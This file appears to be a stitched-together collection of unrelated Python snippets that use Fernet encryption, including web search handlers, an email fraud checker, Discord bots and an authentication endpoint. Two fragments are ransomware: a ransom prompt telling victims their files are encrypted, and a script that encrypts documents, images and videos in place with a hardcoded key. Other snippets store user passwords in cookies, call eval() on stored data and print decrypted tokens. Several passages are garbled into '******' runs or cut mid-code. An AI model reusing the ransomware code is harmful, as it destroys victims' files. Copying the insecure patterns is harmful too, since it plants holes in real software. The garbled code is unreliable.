def submit(): if request.method == "POST": formdata = request.form start = 0 if 'start' in formdata: start = int(formdata['start']) serverRL = "" if 'server' in formdata: serverRL = formdata['server'] else: serverRL = request.cookies.get('serverRL') serverRL = Fernet(key).decrypt(serverRL.encode()).decode("utf-8") username = "" if 'username' in formdata: username = formdata['username'] else: username = request.cookies.get('username') username = Fernet(key).decrypt(username.encode()).decode("utf-8") password = "" if 'password' in formdata: password = formdata['password'] else: password = request.cookies.get('password') password = Fernet(key).decrypt(password.encode()).decode("utf-8") try: emails = list( reversed( projectEmailGetter.getBriefFromEmails( projectEmailGetter.getEmailsIMAP(serverRL, username, password, ssl=True, start=start)))) res = make_response( render_template("choose.html", emails=enumerate(emails), index=start)) if 'username' in formdata and 'password' in formdata and 'server' in formdata: res.set_cookie( "username", Fernet(key).encrypt(formdata['username'].encode())) res.set_cookie( "password", Fernet(key).encrypt(formdata['password'].encode())) res.set_cookie( "serverRL", Fernet(key).encrypt(formdata['server'].encode())) return res except imaplib.IMAP4.error as err: return render_template("submit.html", error="Login Failed") except socket.gaierror as err: return render_template("submit.html", error="Invalid Server") return render_template("submit.html", error="")
def new_search_query(self) -> str: # Generate a new element key each time a new search is performed self.session['fernet_keys']['element_key'] = generate_user_keys( cookies_disabled=self.cookies_disabled)['element_key'] q = self.request_params.get('q') if q is None or len(q) == 0: return '' else: # Attempt to decrypt if this is an internal link try: q = Fernet(self.session['fernet_keys']['text_key']).decrypt( q.encode()).decode() except InvalidToken: pass # Reset text key self.session['fernet_keys']['text_key'] = generate_user_keys( cookies_disabled=self.cookies_disabled)['text_key'] # Format depending on whether or not the query is a "feeling lucky" query self.feeling_lucky = q.startswith('! ') self.query = q[2:] if self.feeling_lucky else q return self.query
def new_search_query(self) -> str: """Parses a plaintext query into a valid string for submission Also decrypts the query string, if encrypted (in the case of paginated results). Returns: str: A valid query string """ q = self.request_params.get('q') if q is None or len(q) == 0: return '' else: # Attempt to decrypt if this is an internal link try: q = Fernet(self.session_key).decrypt(q.encode()).decode() except InvalidToken: pass # Strip leading '! ' for "feeling lucky" queries self.feeling_lucky = q.startswith('! ') self.query = q[2:] if self.feeling_lucky else q return self.query
def new_search_query(self) -> str: """Parses a plaintext query into a valid string for submission Also decrypts the query string, if encrypted (in the case of paginated results). Returns: str: A valid query string """ # Generate a new element key each time a new search is performed self.session['fernet_keys']['element_key'] = generate_user_keys( cookies_disabled=self.cookies_disabled)['element_key'] q = self.request_params.get('q') if q is None or len(q) == 0: return '' else: # Attempt to decrypt if this is an internal link try: q = Fernet(self.session['fernet_keys']['text_key']).decrypt( q.encode()).decode() except InvalidToken: pass # Reset text key self.session['fernet_keys']['text_key'] = generate_user_keys( cookies_disabled=self.cookies_disabled)['text_key'] # Strip leading '! ' for "feeling lucky" queries self.feeling_lucky = q.startswith('! ') self.query = q[2:] if self.feeling_lucky else q return self.query
def search(): request_params = request.args if request.method == 'GET' else request.form q = request_params.get('q') if q is None or len(q) == 0: return redirect('/') else: # Attempt to decrypt if this is an internal link try: q = Fernet(app.secret_key).decrypt(q.encode()).decode() except InvalidToken: pass user_agent = request.headers.get('User-Agent') mobile = 'Android' in user_agent or 'iPhone' in user_agent content_filter = Filter(mobile, g.user_config, secret_key=app.secret_key) full_query = gen_query(q, request_params, content_filter.near, language=g.user_config.lang) get_body = g.user_request.send(query=full_query) results = content_filter.reskin(get_body) formatted_results = content_filter.clean( BeautifulSoup(results, 'html.parser')) return render_template('display.html', query=urlparse.unquote(q), response=formatted_results)
def userDecrypt(): print('Oh no! Your files have been encrypted!\n') print('Any file with the following file extension has beem encrypted:\n') for ext in extensions: print(ext + '\n') print('To decrypt them, you need to enter the password!\n') print('Type the password in extactly or you may lose all of your files!\n') password = input('Password:'******'utf-8')).hexdigest())) ungetFiles(password) input("Press enter to exit")
def check(v): username = request.cookies.get('username') username = Fernet(key).decrypt(username.encode()) password = request.cookies.get('password') password = Fernet(key).decrypt(password.encode()) serverRL = request.cookies.get('serverRL') serverRL = Fernet(key).decrypt(serverRL.encode()) rawemail = projectEmailGetter.getEmailsIMAP(serverRL.decode("utf-8"), username.decode("utf-8"), password.decode("utf-8"), ssl=True, start=v, count=1) emails = projectEmailGetter.getPlainFromEmails(rawemail) emailbrief = list(reversed( projectEmailGetter.getBriefFromEmails(rawemail))) fraudulence = runFromEmail( projectEmailGetter.stripToText( projectEmailGetter.getPlainFromEmails(rawemail)[0]))[0] return render_template("show.html", content=emails[0], email=emailbrief[0], fraud=fraudulence)
def search(): request_params = request.args if request.method == 'GET' else request.form q = request_params.get('q') if q is None or len(q) == 0: return redirect('/') else: # Attempt to decrypt if this is an internal link try: q = Fernet(app.secret_key).decrypt(q.encode()).decode() except InvalidToken: pass feeling_lucky = q.startswith('! ') if feeling_lucky: # Well do you, punk? q = q[2:] user_agent = request.headers.get('User-Agent') mobile = 'Android' in user_agent or 'iPhone' in user_agent content_filter = Filter(mobile, g.user_config, secret_key=app.secret_key) full_query = gen_query(q, request_params, g.user_config, content_filter.near) get_body = g.user_request.send(query=full_query) dirty_soup = BeautifulSoup(content_filter.reskin(get_body), 'html.parser') if feeling_lucky: return redirect( get_first_link(dirty_soup), 303) # Using 303 so the browser performs a GET request for the URL else: formatted_results = content_filter.clean(dirty_soup) # Set search type to be used in the header template to allow for repeated searches # in the same category search_type = request_params.get('tbm') if 'tbm' in request_params else '' return render_template( 'display.html', query=urlparse.unquote(q), search_type=search_type, dark_mode=g.user_config.dark, response=formatted_results, search_header=render_template('header.html', dark_mode=g.user_config.dark, q=urlparse.unquote(q), search_type=search_type, mobile=g.user_request.mobile) if 'isch' not in search_type else '')
def sharepassDecrypt(r): encCode = r["encCode"] encType = r["encType"] contact = r["contact"] if encType == "SE": enc1, enc2 = encCode.split("ō") x = Fernet(makeKEY(f'{enc1[0:16]}'.encode())) key = Fernet(makeKEY(x.decrypt(enc2.encode()))) plainFinal = key.decrypt(enc1.encode()) return plainFinal.decode() elif encType == "UE": key = r["key"] + contact fObj = Fernet(makeKEY(key.encode())) plainFinal = fObj.decrypt(encCode.encode()) return plainFinal.decode()
def server_based_render_url(self): """ get url for server image """ root_url = "{0}/convert_spec".format(settings.VEGALITE_SERVER_URL) spec = self.json() encrypt = False if settings.VEGALITE_ENCRYPT_KEY: key = settings.VEGALITE_ENCRYPT_KEY.encode() spec = Fernet(key).encrypt(spec.encode()) encrypt = True parameters = urlencode({"spec": spec, "format": "png", "encrypted": encrypt, "width": 700}) return root_url + "?" + parameters
async def sendkey(ctx, email: str): # Delete the message if it hasn't already been deleted. try: await ctx.message.delete() except discord.errors.NotFound: pass except discord.errors.Forbidden: pass # Validate the email address. if email == None: await ctx.send("{mention}: You must specify the email address.".format( mention=ctx.author.mention)) return try: valid = validate_email(email) email = valid.email domain = valid.domain secretkey = conf.get("secretkey").encode() # Calculate an encrypted JSON string with userid and email emailkey = json.dumps({"uid": str(ctx.author.id), "email": email}) emailkey = Fernet(secretkey).encrypt(emailkey.encode()) msg = """\ To: {email} Subject: Networking Discord Email Validation Key Your validation key is {key}. To activate an org affiliation role, in the server, please issue the command: {command_prefix}role org set {key} Note that doing so will remove your present org affiliation role, if any. """.format( email=email, key=emailkey.decode(), command_prefix=conf.get("command_prefix"), ) await send_email(email, msg) await ctx.send( "{mention}: I've emailed you to check your association with {domain}. Please check your email for the validation instructions." .format(domain=domain, mention=ctx.author.mention)) except EmailNotValidError as e: await ctx.send(str(e))
def get_image_url(self) -> str: """ get url for server image """ encrypt = False spec = self.spec if settings.VEGALITE_ENCRYPT_KEY: key = settings.VEGALITE_ENCRYPT_KEY.encode() spec = Fernet(key).encrypt(spec.encode()) encrypt = True parameters = urlencode({ "spec": spec, "format": "png", "encrypted": encrypt, "width": 700 }) url_parts = list(urlparse(settings.VEGALITE_SERVER_URL)) url_parts[2] = "convert_spec" url_parts[4] = parameters return urlunparse(url_parts)
def search(): request_params = request.args if request.method == 'GET' else request.form q = request_params.get('q') if q is None or len(q) == 0: return redirect('/') else: # Attempt to decrypt if this is an internal link try: q = Fernet(app.secret_key).decrypt(q.encode()).decode() except InvalidToken: pass feeling_lucky = q.startswith('! ') if feeling_lucky: # Well do you, punk? q = q[2:] user_agent = request.headers.get('User-Agent') mobile = 'Android' in user_agent or 'iPhone' in user_agent content_filter = Filter(mobile, g.user_config, secret_key=app.secret_key) full_query = gen_query(q, request_params, content_filter.near, language=g.user_config.lang) get_body = g.user_request.send(query=full_query) dirty_soup = BeautifulSoup(content_filter.reskin(get_body), 'html.parser') if feeling_lucky: return redirect( get_first_link(dirty_soup), 303) # Using 303 so the browser performs a GET request for the URL else: formatted_results = content_filter.clean(dirty_soup) return render_template('display.html', query=urlparse.unquote(q), response=formatted_results)
def parseInput(action): key = keyText.get(1.0, 'end').strip() message = messageText.get(1.0, 'end').strip() if (message == 'None or invalid message'): return if key and message: message = Message(message) try: key = Fernet(key.encode()) except base64.binascii.Error: keyText.delete(1.0, 'end') keyText.insert(1.0, 'Invalid Key') return if not message: messageText.insert(1.0, 'None or invalid message') if not key: keyText.insert(1.0, 'None or invalid key') action(message, key)
async def rcon_command(self, ctx, *, cmd): dm_check = (lambda m: ctx.author.id == m.author.id and ctx.author.dm_channel.id == m.channel.id) db_guild = await self.db.fetch_guild(ctx.guild.id) if db_guild['mcserver'] is None: await self.bot.send(ctx, ctx.l.minecraft.rcon.stupid_1) return db_user_rcon = await self.db.fetch_user_rcon(ctx.author.id, db_guild['mcserver']) if db_user_rcon is None: try: await self.bot.send(ctx.author, ctx.l.minecraft.rcon.port) except Exception: await self.bot.send(ctx, ctx.l.minecraft.rcon.dm_error) return try: port_msg = await self.bot.wait_for('message', check=dm_check, timeout=60) except asyncio.TimeoutError: try: await self.bot.send(ctx.author, ctx.l.minecraft.rcon.msg_timeout) except Exception: pass return try: rcon_port = int(port_msg.content) if 0 > rcon_port > 65535: rcon_port = 25575 except Exception: rcon_port = 25575 try: await self.bot.send(ctx.author, ctx.l.minecraft.rcon.passw) except Exception: await self.bot.send(ctx, ctx.l.minecraft.rcon.dm_error) return try: auth_msg = await self.bot.wait_for('message', check=dm_check, timeout=60) except asyncio.TimeoutError: try: await self.bot.send(ctx.author, ctx.l.minecraft.rcon.msg_timeout) except Exception: pass return password = auth_msg.content else: rcon_port = db_user_rcon['rcon_port'] password = Fernet(self.k.fernet).decrypt(db_user_rcon['password'].encode('utf-8')).decode('utf-8') # decrypt to plaintext await ctx.trigger_typing() try: rcon_con = self.d.rcon_cache.get((ctx.author.id, db_guild['mcserver'])) if rcon_con is None: rcon_con = rcon.Client((db_guild['mcserver'].split(':')[0] + f':{rcon_port}'), password, 2.5, loop=self.bot.loop) self.d.rcon_cache[(ctx.author.id, db_guild['mcserver'])] = (rcon_con, arrow.utcnow()) else: rcon_con = rcon_con[0] self.d.rcon_cache[(ctx.author.id, db_guild['mcserver'])] = (rcon_con, arrow.utcnow()) await rcon_con.setup() except Exception as e: if isinstance(e, rcon.errors.InvalidAuthError): await self.bot.send(ctx, ctx.l.minecraft.rcon.stupid_2) else: await self.bot.send(ctx, ctx.l.minecraft.rcon.err_con) await self.db.delete_user_rcon(ctx.author.id, db_guild['mcserver']) await rcon_con.close() self.d.rcon_cache.pop((ctx.author.id, db_guild['mcserver']), None) return if db_user_rcon is None: encrypted_password = Fernet(self.k.fernet).encrypt(password.encode('utf-8')).decode('utf-8') await self.db.add_user_rcon(ctx.author.id, db_guild['mcserver'], rcon_port, encrypted_password) try: resp = await rcon_con.send_cmd(cmd[:1445]) except Exception: await self.bot.send(ctx, ctx.l.minecraft.rcon.err_cmd) await rcon_con.close() self.d.rcon_cache.pop((ctx.author.id, db_guild['mcserver']), None) return resp_text = '' for i in range(0, len(resp[0])): if resp[0][i] != '§' and (i == 0 or resp[0][i-1] != '§'): resp_text += resp[0][i] await ctx.send('```\uFEFF{}```'.format(resp_text.replace('\\n', '\n')[:2000-7]))
def auth(token): headers = { 'Content-Type': "application/json", "Authorization": "Basic " + token } try: token = Fernet(Config.PRIVATE_KEY).decrypt(token.encode()).decode() print(token) base64_bytes = token.encode('utf-8') message_bytes = base64.b64decode(base64_bytes) token_string = message_bytes.decode('utf-8') token_hash = hashlib.md5(base64_bytes).hexdigest() authorized = TokenAuth.query.filter_by(token_MD5=token_hash).filter( TokenAuth.expire_time > datetime.now()).first() if authorized is not None: g.response = eval(authorized.result) return eval(authorized.result), 200 else: username = token_string.split(':')[0] password = token_string.split(':')[1] user = UserFood.query.filter_by(username=username).first() if user is not None and user.check_password(password): r = { 'user': { "nomeBar": user.bar, "nome": user.nome.upper(), "cognome": user.cognome.upper(), "grpDes": user.grpDes, "grpId": user.grpId, "telefono": user.telefono, "sesso": user.sesso, "email": user.email, "userId": username } } g.response = r return r, 200 else: response = requests.request("GET", url + "login", headers=headers, timeout=60) if response.status_code == 401: try: r = ldap_auth(username, password) g.response = r if r is not None: x = TokenAuth(token_MD5=token_hash, result=str(r), expire_time=datetime.now() + timedelta(minutes=60)) db.session.add(x) db.session.commit() return r, 200 else: return {"errMsg": "Invalid Credentials"}, 401 except: db.session.rollback() print("Unexpected error:") print("Title: " + sys.exc_info()[0].__name__) print("Description: " + traceback.format_exc()) return {"errMsg": "Invalid Credentials"}, 401 elif response.status_code == 503: return {'errMsg': "Server down!"}, 503 elif response.status_code == 200: print("ESSE3 success!") r = response.json() if r['credentials']['user'] != r['user']['userId'] and r[ 'credentials']['user'] != r['user']['codFis']: r['user']['userId'] = r['credentials']['user'] g.response = r if r['user']['grpDes'] == "Docenti" or r['user'][ 'grpDes'] == "Registrati": return r, 200 elif r['user']['grpDes'] == "Studenti" and len( r['user']['trattiCarriera']) == 0: r['user']['grpId'] = 97 r['user']['grpDes'] = "Dottorandi" return r, 200 else: for i in range(0, len(r['user']['trattiCarriera'])): r["user"]["trattiCarriera"][i]["strutturaDes"] = "" r["user"]["trattiCarriera"][i]["strutturaId"] = "" r["user"]["trattiCarriera"][i][ "strutturaGaId"] = "" r["user"]["trattiCarriera"][i]["corsoGaId"] = "" return r, 200 except requests.exceptions.Timeout as e: return {'errMsg': 'Timeout Error!'}, 500 except requests.exceptions.TooManyRedirects as e: return {'errMsg': str(e)}, 500 except requests.exceptions.RequestException as e: return {'errMsg': str(e)}, 500 except cryptography.fernet.InvalidToken as e: return {"errMsg": "Not Authorized!"}, 403
# print(decryptor.decrypt(client.recv(255).decode()).decode()) else: print(client.recv(64).decode()) sys.exit() except Exception as e: print(e) repeat = str(input("Vuoi continuare?(Y/n) ")) client.close() if repeat == "n": break else: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((server_ip, port)) password = str(input("Inserisci la tua nuova password: "******"Inserisci chiave per criptare la tua password: "******"A che sito è legata la tua password? ")) username = str(input("Inserisci il tuo username: "******"add": True, "key": password, "site": site, "username": username }).encode()) print(client.recv(255).decode())
import base64, hashlib, sys from cryptography.fernet import Fernet try: password = sys.argv[3] key = hashlib.md5(password.encode()).hexdigest() key_64 = base64.urlsafe_b64encode(key.encode()) if sys.argv[1] == 'encrypt': with open(sys.argv[2], "r") as file: with open('ciphered', 'w+') as cfile: for line in file.readlines(): line = Fernet(key_64).encrypt(line.encode()) cfile.write(line.decode() + '\n') print('encrypted file: ciphered') if sys.argv[1] == 'decrypt': with open(sys.argv[2], "r") as cfile: for line in cfile.readlines(): line = Fernet(key_64).decrypt(line.encode()) print(line.decode()) except: print('Usage:\n\t', 'encryption: python3 cipher.py encrypt filename password\n\t', 'decryption: python3 cipher.py decrypt filename password\n')
import os import hashlib import hextobase64 import rsa from cryptography.fernet import Fernet ''' This program is not inteded for malicious use. It is for learning purposes only. The aes password used to generate the key is hardcoded into this file. ''' #generates an aes key to encrypt the data key = 'spongebob' key = Fernet( hextobase64.hex_to_base64(hashlib.sha256(key.encode('utf-8')).hexdigest())) #sets starting directory #the default is the desktop of the current user stardir = "/Users/{}/Desktop/testfolder".format(os.getenv('username')) #file extensions to encrypt extensions = ['.txt', '.jpeg', '.png', '.jpg', '.docx', '.mp4', '.mov'] #encrypts files using key def encryptFile(filename, passw): with open(filename, "r+b") as file: filedata = file.read() encrypted_data = passw.encrypt(filedata) with open(filename, "wb") as file: file.write(encrypted_data)